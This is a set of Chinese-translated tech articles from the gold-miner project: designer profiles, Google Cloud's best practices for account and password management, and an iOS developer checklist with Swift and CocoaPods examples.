设计能有一份详尽的参考文档将会极大地帮助你理解问题和找到解决方案。记得要同时记录下真实的体验,这些也同样能被用作参考。 ## 10**.** [**Pavel Macek**](https://twitter.com/pavel_macek) Pavel 现在是 [Slack](http://slack.com) 的一名产品设计师。Pavel 说他“非常在乎用户”,这也体现在他的作品中:他设计出的产品都令许多人感到享受。你可以在[这里](https://twitter.com/pavel_macek)关注他。 ![image19](https://studio.uxpin.com/wp-content/uploads/2016/02/image19.png) ### **设计灵感** 对我来说,UX 设计的一个极佳的例子就是 Technics 唱机转盘 SL-1200,这款转盘已经在没有重大改动的情况下卖了35年了。然而这依然是 DJ、制作人和音乐家圈子中最流行的唱机转盘。 ![image07](https://studio.uxpin.com/wp-content/uploads/2016/02/image072-1024x697.png) 这极好地证明了实用性设计以及将创新的设计和精确的执行相结合的重要性。我觉得人们常常忘记保证功能性也是 UX 设计师的职责所在,但这恰恰是决定产品是否成功的最终因素。 ### **职业建议** 不要在所有的设计方法论和设计模式中迷失。学习设计框架以及保持严格的设计流程是非常重要的,但是开头总是很简单的:我在为谁设计?他需要实现什么?我能够如何帮助他实现? 然后就只是重复和学习哪些方法可行而哪些不可行。 ## 11**.** [**Robert Fabricant**](https://twitter.com/fabtweet) Robert 是健康护理和社会创新设计方面的专家。它最近在领导 [Masiluleke 项目](http://www.poptech.org/project_m)。这是一个在南非利用移动技术对抗 HIV/AIDS 的创新项目。他之前在一个国际上非常有声望的设计代理机构 [frog design](http://www.frogdesign.com/) 工作。他同时也[开设课程](http://about.tisch.nyu.edu/object/FabricantR.html)、做演讲、以及[写文章](http://www.fastcodesign.com/user/robert-fabricant)。 ![image09](https://studio.uxpin.com/wp-content/uploads/2016/02/image091.jpg) ### **设计灵感** 我总是会被[纽约市地铁系统](http://www.fastcodesign.com/1665022/why-does-interaction-design-matter-lets-look-at-the-evolving-subway-experience)惊人的、多方面的用户体验所启发。 我至少已经坐地铁45年了。除非你生活在其中,并且生活了很长一段时间,不然你永远无法准确说出一种体验的价值。 我们赞美的太多用户体验都是转瞬即逝的:那些应用没几个月可能就不在我们的手机里了。但是地铁一直都在这里,任何改进都是很缓慢的,都需要人工和钢铁来进行。这样的设计是很慢而且很困难的工作。 ![image00](https://studio.uxpin.com/wp-content/uploads/2016/02/image009-1024x602.png) 然而,改变是永恒的。作为纽约居民,几乎没有什么其他的系统比地铁更需要了解了。但是体验是从哪里开始哪里结束的呢?体验并不仅仅局限于地铁站内、地铁上和验票闸门口。 近年来,地铁系统已经成为了一个实验平台。用于实验不论是经过验证的还是临时性的想法。最近,联合广场的平台上开始试用一些大型的触摸屏信息显示器。观察人们第一次与之互动,并通过这一项实验把这座大型城市(对这就是我的家乡)中这么多人连接起来,是一件非常吸引人的事。 作为 UX 设计师,我们应该思考和实践一些大范围的实验。什么对象会比一座城市更好?数据和移动性在哪里可以更好地结合?以及我们在哪里可以持续探索和享受我们自己的实验与周围实验的差距。 ### **职业建议** 我很喜欢与其他设计师谈论你第一次把自己的设计放在别人面前,看着他探索、体验和(希望是)享受的时刻。 在那一刻,即使是在那个人真正被设计吸引之前,你总是能看到一些你之前不曾注意的东西。就像是老话说的那样“鳞片从你的眼中掉下来了(译者注:指恍然大悟)”。你突然发现了在你的理解、计划和直觉之外的那么多东西。 那些时刻是非常珍贵的,这对于所有的设计师来说都是一样的,不论他有多高的成就。 相比来说,设计本身似乎变得不那么珍贵了,所以在项目中尽可能创造这种时刻。你不需要为此获得许可。 在 [frog](http://www.frogdesign.com/) 工作了13年,我有幸在许多不同的团队中经历了一次又一次那样的情形。 设计的质量总是,也只能由设计所产生的反馈来衡量,通过这个设计如何吸引、支持用户并使他们感到高兴。 [行为就是我们的媒体](http://www.ixda.org/resources/robert-fabricant-behavior-our-medium),切记! ================================================ FILE: TODO/12-best-practices-for-user-account.md ================================================ > * 原文地址:[12 best practices for user account, authorization and password management](https://cloudplatform.googleblog.com/2018/01/12-best-practices-for-user-account.html) > * 原文作者:[Google Cloud Platform](https://cloudplatform.googleblog.com/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/12-best-practices-for-user-account.md](https://github.com/xitu/gold-miner/blob/master/TODO/12-best-practices-for-user-account.md) > * 译者:[Wangalan30](https://github.com/Wangalan30) > * 校对者:[ryouaki](https://github.com/ryouaki), [Potpot](https://github.com/Potpot) # 用户账户、授权和密码管理的 12 个最佳实践 账户管理、授权和密码管理问题可以变得很棘手。对于很多开发者来说,账户管理仍是一个盲区,并没有得到足够的重视。而对于产品管理者和客户来说,由此产生的体验往往达不到预期的效果。 幸运的是,[Google Cloud Platform](https://cloud.google.com/) (GCP) 上有几个工具,可以帮助你在围绕用户账户(在这里指那些在你的系统中认证的客户和内部用户)进行的创新、安全处理和授权方面做出好的决定。无论你是在 [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine/) 上负责网站托管,还是 [Apigee](https://cloud.google.com/apigee-api-management/) 上的一个 API,亦或是 一个应用[Firebase](https://firebase.google.com/) 或其他拥有经过身份认证用户服务的 APP,这篇文章都会为你展示出最佳实践,来确保你拥有一个安全、可扩展、可使用的账户认证系统。 ## 对密码进行散列处理 账户管理最重要的准则是安全地存储敏感的用户信息,包括他们的密码。你必须神圣地对待并恰当地处理这些数据。 不要在任何情况下存储明文密码。相反,你的服务应该存储经过散列处理之后的、不可逆转的密码 —— 比如,可以用 PBKDF2、SHA3、Scrypt 或 Bcrypt 等这些散列算法。同时,散列时还要进行 [加盐](https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet#Use_a_cryptographically_strong_credential-specific_salt) 处理,同时,盐值也不能和登陆用的验证信息相同。不要用已经弃用的哈希技术比如 MDS 和 SHA1,并且,任何情况下都不要使用可逆加密方式或者 [试着发明自己的哈希算法](https://www.schneier.com/blog/archives/2011/04/schneiers_law.html)。 在设计系统时,应该假设你的系统会受到攻击,并以此为前提设计系统。设计系统时要考虑“如果我的数据库今天受损,用户在我或者其他服务上的安全和保障会有危险吗?我们怎样做才能减小事件中的潜在损失。” 另外一点:如果你能够根据用户提供的密码生成明文密码,那么你的系统就是有问题的。 ## 如果可以的话,允许第三方提供身份验证 使用第三方提供身份验证,你就可以依赖一个可靠的外部服务来对用户的身份进行验证。Google、Facebook 和 Twitter 都是常用的身份验证提供者。 你可以使用 [Firebase Auth](https://firebase.google.com/docs/auth/) 这样的平台在已有的身份验证体系的基础上再添加额外的身份验证方式。使用 Firebase Auth 有许多好处,比如更简单的管理、更小的受攻击面和一个多平台的 SDK。通过这个清单我们可以接触更多的益处。查看我们专为企业设计的 [案例](https://firebase.google.com/docs/auth/case-studies/),可以让你在一日之内集成 Firebase Auth。 ## 区分用户身份和用户账户的概念 你的用户并不是一个邮件地址,也不是一个电话号码,更不是由一个 OAUTH 回复提供的特有 ID。他们是你的服务中,所有与之相关的独特、个性化的数据和经验呈现的最终结果。一个设计优良的用户管理系统在不同用户的个人简介之间低耦合且高内聚。 在概念上将用户账户和证书区分开可以极大地简化使用第三方身份验证的过程,允许用户修改自己的用户名,并关联多个身份到单一用户账户上。在实用阶段,这样可以使我们对每个用户都有一个内部的全局标识符,并通过这个 ID 将他们的个人简介与身份验证相关联,而不是将它全部堆放在一条记录里。 ## 允许单一用户账户关联多重身份 一个每星期用 [用户名和密码](https://firebase.google.com/docs/auth/web/password-auth) 在你的服务上认证的用户,往往会选择下次登录使用 [Google 登录](https://firebase.google.com/docs/auth/web/google-signin),但是他们可能没意识到这样会创建重复的账户。同样的,一个用户可能将多个邮件地址连接到你的服务上。如果你能够正确地将用户的身份和认证区分开,那么 [关联多个身份](https://firebase.google.com/docs/auth/web/account-linking) 到一个单一用户上将是一件十分简单的事情。 你的系统需要考虑这样一种情况:当用户已经进行了一部分或者已经完成了整个注册过程之后,他们才意识到,他们正在使用一个与他们已有的账户完全无关的新的第三方身份。要解决这个问题可以简单地要求客户提供一份普通的身份细节,比如邮件地址、电话或用户名等。如果这份数据与系统中已有的用户相匹配,则需要他们使用已知的身份认证,并将新的 ID 关联到他们已有的账户上。 ## 不要限制较长或者复杂的密码 NIST 最近在 [密码的复杂度和强度](https://pages.nist.gov/800-63-3/sp800-63b.html#appendix-astrength-of-memorized-secrets) 上更新了指南。既然你正在(或者很快就要)使用一个强加密的哈希值来进行密码存储,那么大部分的问题已经解决了。无论输入内容的长短,哈希值总会生成一个固定长度的输出值,所以你的用户应该根据自己喜好的长度设置自己的用户密码。如果你必须限制密码的长度,请按照你的服务器所允许的 POST 的最大值来设置。实际来说。这通常超过1M。 你的哈希密码将包含一小部分已知的 ASCII 码。如果不是,你可以轻易地将一个二进制的哈希值转成 [Base64](https://en.wikipedia.org/wiki/Base64)。考虑到这一点,你应该允许你的用户在设置密码时自由地使用任何他们想要的字符。如果有人想要一个由 [Klingon](https://en.wikipedia.org/wiki/Klingon_alphabets)、[Emoji](https://en.wikipedia.org/wiki/Emoji#Unicode_blocks) 以及两端带有空格的控制字符组成的密码,你不能因任何技术实现上的理由而拒绝他们。 ## 不要对用户名强加不合理的规则 如果一个网站或服务要求用户名长度必须大于两个或三个字 符、限制隐藏字符或不允许用户名的两端带有空格,这都不属于不合理的范畴。然而,有些网站的要求未免有些极端,比如,最小长度为八个字符或不允许使用任何大于 7bit 的 ASCII 字母和数字。 一个对用户名要求严格的站点会给开发者提供一些捷径,但这却是以用户的损失为代价的,同时,一些极端的情况也会带走一定数量的用户。 有些情况需要我们分配用户名。如果你的服务属于这些情况,要确保用户名能够使用户在回想或交流时感觉到足够友好。由字母和数字组成的 ID 应该尽量避免会在视觉上会产生歧义的符号,比如“Il1O0”。同时,我们建议你对所有随机生成的字符串进行字典扫描,以确保没有嵌入用户名中的意外信息。这些相同的准则适用于自动生成的密码。 ## 允许用户修改用户名 令人普遍感到惊讶的是,原有系统或是其他提供邮箱账户的平台都不允许用户修改他们的用户名。我们有很多 [正当理由](https://www.computerworld.com/article/2838283/facebook-yahoo-prevent-use-of-recycled-email-addresses-to-hijack-accounts.html) 不允许重用已经自动回收的用户名,但是如果你的长期用户突然想要换个新的用户名,最好能不用另外新建一个账户。 你可以允许使用别名,并让你的用户选择一个首要的别名,以此来满足他们想要修改自己用户名的要求。你可以在此功能之上应用任何你需要的商务规则。有些系统可能会允许用户一年修改一次用户名或者只显示用户的别名。电子邮件服务提供商应该可以确保用户在将旧用户名与他们的账户分离开,或是完全禁止断开旧用户名之前,已经充分的了解了其中的风险。 为你的平台选择正确的规则,但是要确保他们允许你的用户随着时间增长和变化。 ## 让你的用户删掉他们的账户 没有提供自助服务的服务系统数量惊人,这对一个用户来说就意味着删掉他们的账户和相关数据。对一个用户来说,永久地关掉一个账户并删掉所有的个人数据有很多的好理由。这些需求点需要与你的安全性和顺从性需求相平衡,但大多数受监管的环境都会提供有关数据存储的相关指导。为避免顺从性以及黑客的关注,一个较普遍的做法是让用户安排他们的账户,以便未来自动删除。 在某些情况下,你可能会 [被合法地要求遵照](http://ec.europa.eu/justice/data-protection/files/factsheets/factsheet_data_protection_en.pdf) 用户的需求及时的删掉他们的数据。同样,当“已关闭”账户的数据泄漏时,你也会极大的增加你的曝光率。 ## 在对话长度上做出理智的选择 安全和认证中一个经常被忽视的方面是 [会话长度](https://firebase.google.com/docs/auth/web/auth-state-persistence)。Google 在 [确保用户是他们所说的人](https://support.google.com/accounts/answer/7162782?co=GENIE.Platform%3DAndroid&hl=en) 方面做了很多努力,并将基于某些事件或行为进行二次确认。用户可以采取措施 [进一步提高自己的安全度](https://support.google.com/accounts/answer/7519408?hl=en&ref_topic=7189123)。 你的服务可能有充分的理由为非关键的分析目的保持一段会话无限期开放,但是这应该有 [门槛](https://pages.nist.gov/800-63-3/sp800-63b.html#aal1reauth),要求输入密码,第二因素或其他用户验证。 考虑一个用户在重新认证之前需要保持多长时间的非活跃状态。如果某人想要执行密码重置,需要在所有活跃会话中验证用户身份。如果一个用户想要更改他们个人信息的核心内容,或者当他们在执行一次敏感的行为时,提示进行身份验证或第二因素。要考虑不允许同时在不同设备或地址登录是否有意义。 当你的服务终止用户会话或需要再次验证时,实时提示用户或提供一种机制来保存自他们上次验证后还没来得及保存的全部活动。对用户来说,当他们填好一份很长的表格并在之后提交,却发现他们输入的所有信息全部丢失且他们必须再次登录,这是十分令人沮丧的。 ## 使用两步身份验证 要考虑当用户选择 [两步验证](https://www.google.com/landing/2step/) (也称两因素验证或只是 2FA)方法而账户被盗后的实际影响。由于有许多缺陷,SMS 2FA 认证 [被 NIST 反对](https://pages.nist.gov/800-63-3/sp800-63b.html),然而,它或许是你的用户考虑到这是一项微不足道的服务时会接受的最安全的选择了。请尽可能提供你能提供的最安全的 2FA 认证。支持第三方身份验证和在他们的 2FA 上面打包是个十分简单的方法,使你能够不花费太多力气就能提高你的安全度。 ## 用户 ID 不区分大小写 你的用户不会关心或者甚至可能并不记得他们确切的用户名。用户名应该完全不区分大小写。与输入时将所有字符转换为小写相比,存储时将用户名和邮件地址全部保存为小写显得十分微不足道。 智能手机的使用代表用户设备所占的比重不断增加。他们大多数提供纯文本字段的自动更正和首字母自动大写功能。 ## 建立一个安全认证系统 如果你在使用一个像 Firebase Auth 一样的设备,大量的安全隐患都会自动帮你处理。然而,你的设备总是需要正确地设计以防滥用。核心的问题包括实现 [密码重置](https://firebase.google.com/docs/auth/web/manage-users#send_a_password_reset_email)而不是密码检索,详细账户活动日志,限制登录尝试率,多次登录尝试不成功后锁定账户以及需双因素识别已长时间限制的未知设备或账户。安全认证系统还有很多方面,所以请查看下方的链接获取更多信息。 ## 进一步阅读 还有很多优秀的可用资源可以指导你的开发进程,更新或迁移你的账户和认证管理系统。我建议以下为出发点: - NIST 800-063B 包含认证和生命周期管理 - OWASP 持续更新密码存储备忘单 - OWASP 使用认证备忘单进行深入研究 - Google 的 Firebase 认证网站有丰富的指南库,参考资料和示例代码 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/14-must-knows-for-an-ios-developer.md ================================================ > * 原文地址:[14 must knows for an iOS developer](https://swiftsailing.net/14-must-knows-for-an-ios-developer-5ae502d7d87f#.5qoqojm6n) * 原文作者:[Norberto Gil Vasconcelos](https://swiftsailing.net/@nobizard) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Deepmissea](http://deepmissea.blue) * 校对者:[ldhlfzysys](http://www.jianshu.com/u/bff850e51395),[ChenDongnan](https://github.com/ChenDongnan) # iOS 开发者一定要知道的 14 个知识点 ![](https://cdn-images-1.medium.com/max/2000/1*GlmHP6nltxqLBZA3Rv8AGg.jpeg) 作为一个 iOS 开发者(现在对 Swift 中毒颇深 😍)。我从零开始创建应用、维护应用,并且在很多团队待过。在我的职业生涯中,一句话一直响彻耳边:“如果你不能解释一件事情,那你根本就不理解它。” 所以为了充分的理解我每天的日常,我创建了一个清单,在我看来,它适合任何 iOS 开发者。我会试着清晰的解释每一个观点。**[请随时纠正我,提出你的意见,或者干脆也来一发你觉得应该在列表上的“必须知道”的知识]** **Topics:** [**源码管控**|**架构**|**Objective-C vs Swift**|**响应式**|**依赖管理**|**信息存储**|**CollectionViews 和 TableViews**|**UI**|**协议**|**闭包**|**scheme**|**测试**|**定位**|**字符串本地化**] 事不宜迟,没有特定的顺序,这就是我的清单。 #### 1 — 源码管控 恭喜你被雇佣了!现在从 repo 上拿代码开始干活吧,还等什么? 每个项目都需要控制源码的版本,即使只有你一个开发者。最常见的就是 Git 和 SVN 了。 **SVN** 依赖于一个集中的系统来进行版本管理。它是一个用来生成工作副本(working copies)的中央仓库,并且需要网络连接才能访问。 它的访问授权是基于路径的,追踪的是注册文件的改变,更改历史记录只能在中央仓库中完全可见。 工作副本只包含最新版本。 *推荐的图形界面工具:* [**Versions - Mac Subversion Client (SVN)** *Versions, the first easy to use Mac OS X Subversion client* versionsapp.com](http://versionsapp.com) **Git** 依赖于一个分布式的系统来进行版本管理。你有一个本地的仓库来进行工作,只需要在同步代码的时候联网。它的访问授权是整个目录,追踪的是注册内容的改变,在工作副本和主仓库都可也看到完整的更改历史。 *推荐的图形界面工具:* [**SourceTree | Free Git and Hg Client for Mac and Windows** *SourceTree is a free Mercurial and Git Client for Windows and Mac that provides a graphical interface for your Hg and…* www.sourcetreeapp.com](https://www.sourcetreeapp.com) #### 2 — 架构 你的指尖因兴奋而颤抖,你想通了怎么控制源码!那先来杯咖啡压压惊?喝个P!现在的你正是巅峰状态,正是写代码的最佳时刻!不,还需要再等等,等什么? 在你蹂躏你的键盘之前,你需要先为项目选择一个架构。因为项目还没开始,你需要让项目的结构符合你的选择的架构。 有很多在移动应用开发中广泛使用的架构,MVC、MVP、MVVM、VIPER 等等。我会简短的概括这些之中 iOS 开发者最常用的: - **MVC** — 模型(**M**odel)、视图(**V**iew)、控制器(**C**ontroller)的缩写。控制器的作用是连接模型和视图,因为他们互不干涉。视图和控制器的联系非常紧密,因此,控制器最终几乎做了所有的工作。这意味着什么?简单来说,如果你创建了一个复杂的视图,你的控制器(ViewController)会疯狂的变大。有办法绕过这个,但是他们不符合 MVC 规则。另一个 MVC 不好的地方是测试。如果你做测试(这对你有好处!),你会发现只能测试模型,因为跟其他层相比,它是唯一能单独分离出来的层。MVC 的加分项是直观,而且大多数 iOS 开发者都用习惯了。 ![](https://cdn-images-1.medium.com/max/800/1*dLNPhFL6k2MFJBAm9g24UA.png) - **MVVM** — 模型(**M**odel)、视图(**V**iew)、视图模型(**V**iew**M**odel)的缩写。在视图和视图模型之间设置一种绑定(基本地响应式编程)的关系,这使得视图模型来调用模型层改变自身时,由于和视图之间的绑定关系而自动更新视图。视图模型并不知道视图的所有事情,这样利于测试,而且绑定节省了大量代码。 ![](https://cdn-images-1.medium.com/max/800/1*E1TC8beTXLlgVHO29wJTpA.png) 对于其他架构更深入的说明和信息,我建议阅读这篇文章: [**iOS Architecture Patterns** *Demystifying MVC, MVP, MVVM and VIPER* medium.com](https://medium.com/ios-os-x-development/ios-architecture-patterns-ecba4c38de52) 这一条看上去不是很重要,但是代码良好的结构性和组织性可以避免很多头疼的问题。每个开发者有时候都会犯一个大错,那就是为了得到想要的结果而放弃组织代码,他们以为这节省了时间。如果你不同意,引用自 Benji: > 组织代码所耗费的每一分钟,都相当于赚了一个小时。 > — 本杰明·富兰克林 我们的目标是让代码变得直观易读,这样你才能简单地建立并维护。 #### 3 — Objective-C vs. Swift 在决定选择哪种语言编写应用时,你需要知道不同的语言能带来什么。如果可以选择的话,我个人建议使用 Swift。为什么?实话说,Objective-C 相比于 Swift 是有微弱优势的,大多数的例子和教程都是用 Objective-C 写的,而且每次 Swift 语言更新的时候,都会对范式做调整,真是让人发愁。但从长远的角度来说,这些问题都会消失。 Swift 真的在很多方面都领先一步。它读起来简单,类似于自然语言,而且因为它不是基于 C 构建的,使得它可以抛弃 C 语言中的语法惯例。对于知道 Objective-C 的人来说,它意味着没有分号,方法调用不需要括号,而且条件分支的表达式也不用括号。对代码的维护也更容易了,Swift 只有一个 .swift 文件,而不是 .h 和 .m 文件,因为 Xcode 和 LLVM 编译器可以找出依赖关系,并且自动地执行增量构建。总而言之,你不需要担心创建模板代码,而且你会发现用更少的代码可以得到相同的结果。 不信?Swift 还更安全、更快而且还负责内存管理(大多数情况)。知道在 Objective-C 中用一个未初始化的指针变量调用一个方法会发生什么吗?什么也不会发生。表达式变成空操作(no-op),然后跳过了。听起来特棒,因为你不用担心这会导致应用崩溃了,尽管,它会导致一系列严重的 bug 和不稳定的行为,以致于你开始怀疑人生,决定重新考虑你的职业生涯。我非常确定你不想那样。不过当一个职业遛狗人的念头听起来还是有那么一点吸引人的。Swift 通过可选类型消除了这个问题。不仅你会精心思考什么会是 nil,并在某个位置设置条件来来阻止它的使用,Swift 也会在 nil 值被使用时,弹出运行时的崩溃,以便更好的调试。内存方面,简单的说,ARC(自动引用计数)在 Swift 上工作的更好。在 Objective-C 里,ARC 并不支持 C 语言的代码和 API,比如 Core Graphics。 #### 4 — 响应式还是非响应式? ![](https://cdn-images-1.medium.com/max/800/1*pXx4SEZ7TExz5uCi2soXhw.gif) 函数响应式编程(**FRP**)看上去似乎很潮。它的意图是更简单的组合异步操作并以事件/数据流的方式驱动。对于 Swift来说,通过 `Observable` 接口来表示的通用计算抽象。(译者注:这里 `Observable` 并不是原生的,而是 RxSwift 的接口) 最简单的例子还是写一点代码。让我们看看小 Timmy 和他的姐姐 Jenny,他们想要买一个新的游戏机。Timmy 每周从他父母那里得到 5€,Jenny 也一样。不过 Jenny 每周末还能通过发报纸赚到 5€。如果他们把每一分钱都存下来,我们就可以每周检查一下他们是否能得到游戏机。每当他们其中一人的存款变化时,就计算一次他们的存款总额。如果钱够了,一个消息就会被存储在变量 isConsoleAttainable 里。在任何时候,我们可以通过订阅它来检查消息。 // Savings let timmySavings = Variable(5) let jennySavings = Variable(10) var isConsoleAttainable = Observable .combineLatest(timmy.asObservable(), jenny.asObservable()) { $0 + $1 } .filter { $0 >= 300 } .map { "\($0) is enough for the gaming console!" } // Week 2 timmySavings.value = 10 jennySavings.value = 20 isConsoleAttainable .subscribe(onNext: { print($0) }) // Doesn't print anything // Week 20 timmySavings.value = 100 jennySavings.value = 200 isConsoleAttainable .subscribe(onNext: { print($0) }) // 300 is enough for the gaming console! 我们做的这点东西对 FRP 来说都是皮毛,一旦你真的用起来了,它会为你打开新世界的大门,甚至允许你采用不同于传统 MVC 的架构,对,就是 MVVM ! 你可以看看 Swift FRP 王座的两位主要竞争者: - **RxSwift** [**ReactiveX/RxSwift** *RxSwift - Reactive Programming in Swift* github.com](https://github.com/ReactiveX/RxSwift) - **ReactiveCocoa** [**ReactiveCocoa/ReactiveCocoa** *ReactiveCocoa - Streams of values over time* github.com](https://github.com/ReactiveCocoa/ReactiveCocoa) #### 5 — 依赖管理 CocoaPods 和 Carthage 是 Swift 和 Objective-C Cocoa 项目里最常见的依赖管理工具。他们简化了库的实现,并且保持库的更新。 **CocoaPods** 有大量的三方库支持,用 Ruby 构建,可以用下面的命令来安装: $ sudo gem install cocoapods 安装过后,你需要为项目创建一个 Podfile 文件,你可以运行下面这条命令: $ pod init(译者注:原文是 pod install ,写错了。) 或者按照这个结构自定义一个 Podfile 文件: platform :ios, '8.0' use_frameworks! target 'MyApp' do pod 'AFNetworking', '~> 2.6' pod 'ORStackView', '~> 3.0' pod 'SwiftyJSON', '~> 2.3' end 一旦完成创建,那就是时候来安装你的新 pods 了 $ pod install 现在,你可以打开项目里的 **.xcworkspace** 文件,别忘了引入你需要的依赖。 **Carthage** 是一个去中心化的依赖管理工具,和 Cocoapods 相对立。缺点是使用者很难找到现有的使用 Carthage 的库。另一方面来说,它只需要很少的维护工作,而且避免了各种中心化产生的问题。 你可以看看他们的 GitHub 来获取更多的关于安装和使用的信息: [**Carthage/Carthage** *Carthage - A simple, decentralized dependency manager for Cocoa* github.com](https://github.com/Carthage/Carthage) #### 6 — 信息存储 如果想用简单的方式为你的应用存储数据,那么 **NSUserDefaults** 就是这种方式,因为它通常保存的是用户的默认数据,在应用首次加载的时候就被放入了。出于这个原因,它就变得简单易用,尽管这也意味着一些限制。其中一条限制就是它接受对象的类型。它的作用和 **Property List(Plist)** 非常像(其中也有同样的限制)。下面的六种类型能被存储到里面: - NSData - NSDate - NSNumber - NSDictionary - NSString - NSArray 为了和 Swift 兼容,NSNumber 可以接受以下的类型: - UInt - Int - Float - Double - Bool 对象可以以下列方式保存到 NSUserDefaults(要先创建一个常量,作为我们要保存的对象的键): let keyConstant = "objectKey" let defaults = NSUserDefaults.standardsUserDefaults() defaults.setObject("Object to save", objectKey: keyConstant) 想要从 NSUserDefaults 读取一个对象时,这样做: if let name = defaults.stringForKey(keyConstant) { print(name) } 为了获取特定类型的对象而不是 AnyObject(Swift 3 中的 Any),有几个便捷函数来读写 NSUserDefaults。 **钥匙串**是一个可以保存密码、证书、私钥以及私有信息的密码管理系统。keychain 的设备加密有两个级别。第一级别是使用锁屏密码作为密钥,第二级别使用由设备生成的密钥,并存储在设备上。 这意味着什么呢?意味着它不是很安全,尤其是你不使用锁屏密码的时候。同样,也有很多方式可以获取第二种密钥,毕竟它是存在设备上的。 最好的解决方案还是使用你自己的加密。(不要把密钥存在设备上) **CoreData** 是一个苹果公司开发的框架,它的目的是让你的应用以面向对象的方式与数据库沟通。它简化了访问过程,减少了代码量而且去掉了需要测试的那部分代码。 如果你的应用需要数据持久化,那么你就应该用它,它大大的简化了数据持久化的过程,这意味着你再也不用构建与数据库连接的这部分程序,以及这部分的测试代码。 #### 7 — CollectionViews 和 TableViews 每个应用都有或多或少的 CollectionView 或 TableView。了解他们的工作原理,什么时候用哪个,都会在未来防止你的应用发生复杂的更改。 **TableViews** 以单列的方式,展示了一个列表,它只能垂直的滑动。列表的每项由 UITableViewCell 来表示,可以完全的自定义。这些项以 sections 和 rows 的方式来分类。 **CollectionViews** 也展示了一个列表,不过他可以有多行多列(像网格)。它水平竖直都可以滑动,每个项通过 UICollectionViewCell 来表示。和 UITableViewCell 一样,也可以自定义,并按照 sections 和 rows 的方式来分类。 他们有相似的功能,并都使用可复用 cell 来提高流畅性。选择哪个取决于你要写的列表的复杂程度。集合视图可以用于任何的列表,在我看来,始终是个不错的选择。现在假设你想做一个联系人列表。这太简单了,一列就可以搞定,所以你选择用 UITableView。伟大的作品!几个月以后,你们的设计师决定联系人还是以网格的形式来显示。那你就只能把 UITableView 的实现全部换成 UICollectionView 的。我想说的是,即使你的列表很简单,用 UITableView 足以搞定,如果有好灵感,设计也许会变,所以最好还是用 UICollectionView 来实现一个列表。 不管你最后选择了哪个,最好写一个通用的 tableview/collectionview,它让你的实现更容易,并且可以重用很多代码。 #### 8 — Storyboards vs. Xibs vs. 手撸 UI 代码 他们每一种方式都可以在编写 UI 方面独挡一面,当然,也没有人不让你一起用。 **Storyboards** 允许你为项目创建一个更宽泛的视图,设计师们很喜欢,因为他们可以看到应用的流程和所有的屏幕。坏处在于,随着屏幕的增加,他们之间的连接变得越来越混乱,storyboard 的加载时间也会增加。合并代码的冲突也会频繁的发生,因为所有的 UI 都写在了一个文件上。而且这些冲突还很难解决。 **Xibs** 提供了一个屏幕或者部分屏幕的视图。他们的好处是易于复用,合并代码的冲突比用 storyboard 要少,而且也可以简单的看到每个屏幕上有什么。 **手撸 UI 代码** 让你在最大程度上控制你的代码,并减少合并冲突,如果冲突发生,也可以很容易的解决。缺点就是没法看到具体的内容,还要花额外的时间去撸 UI。 有多种不同的方式来实现你应用的 UI 部分。但我还是主观的认为,最好的方式就是三种混合使用。使用多个 Storyboards(现在 storyboards 之间可以连接),然后用 Xibs 来展现那些非主屏幕上的内容,最后,在确定的情况下用代码做额外的控制。 #### 9 — 协议! 协议存在于我们的日常生活中,它可以来确定在给定的环境下,我们知道如何反应。假如你是一个消防员,现在有紧急情况。 每个消防队员都必须遵守协议,按照既定要求,才能成功的应对。这同样适用于一个 Swift/Objective-C 协议。 一个协议是按照给定的功能,定了了方法、属性和其他需要的约定。它可以被类、结构体或枚举采用,然后由他们提供这些功能具体的实现。 这里有一个怎么创建并使用协议的例子: 在例子中,我会使用一个枚举,来列出不同的灭火材料。 enum ExtinguisherType: String { case water, foam, sand } 接着,我要创建一个能应对紧急情况的协议。 protocol RespondEmergencyProtocol { func putOutFire(with material: ExtinguisherType) } 现在我要创建一个消防员来实现协议。 class Fireman: RespondEmergencyProtocol { func putOutFire(with material: ExtinguisherType) { print("Fire was put out using \(material.rawValue).") } } 干的漂亮!现在让消防员行动起来。 var fireman: Fireman = Fireman() fireman.putOutFire(with: .foam) 结果应该是 *“Fire was put out using foam.”* 协议也被用于**委托**。它允许类或结构体将功能委托给另一个类型的实例。创建具有委托职责的协议,以保证符合类型的实例为他们提供具体的功能。 快速示例! protocol FireStationDelegate { func handleEmergency() } 消防站将处理紧急情况的行动委托给消防员。 class FireStation { var delegate: FireStationDelegate? fun emergencyCallReceived() { delegate?.handleEmergency() } } 这就意味着消防员也要实现 FireStationDelegate 协议。 class Fireman: RespondEmergencyProtocol, FireStationDelegate { func putOutFire(with material: ExtinguisherType) { print("Fire was put out using \(material.rawValue).") } func handleEmergency() { putOutFire(with: .water) } } 需要做的就是把待命的消防员设为消防站的代理,他会处理那些接到的火警电话。 let firestation: FireStation = FireStation() firestation.delegate = fireman firestation.emergencyCallReceived() 结果应该是 *“Fire was put out using water.”* 可以看到,协议非常有用。用他们还可以做很多很多的事情,但现在我只介绍到这里。 #### 10 — 闭包 这里我只说 Swift 里的闭包。他们多数的用途是,作为一个函数完成的回调或者是高阶函数。函数回调,顾名思义,就是一个任务完成,执行这段回调代码。 > Swift 里的闭包类似于 C 和 Objective-C 中的 block。 > 闭包是第一类对象,所以可以被嵌套和传递(像 Objective-C 里的 block)。 > 在 Swift 里,函数是一种特殊的闭包。 来源: [Swift Block Syntax](http://fuckingswiftblocksyntax.com) 这是一个学习闭包语法很不错的地方。 #### 11 — scheme 简单的说,schemes 就是在各种配置间切换的简单方式。设想几种情况。Workspace 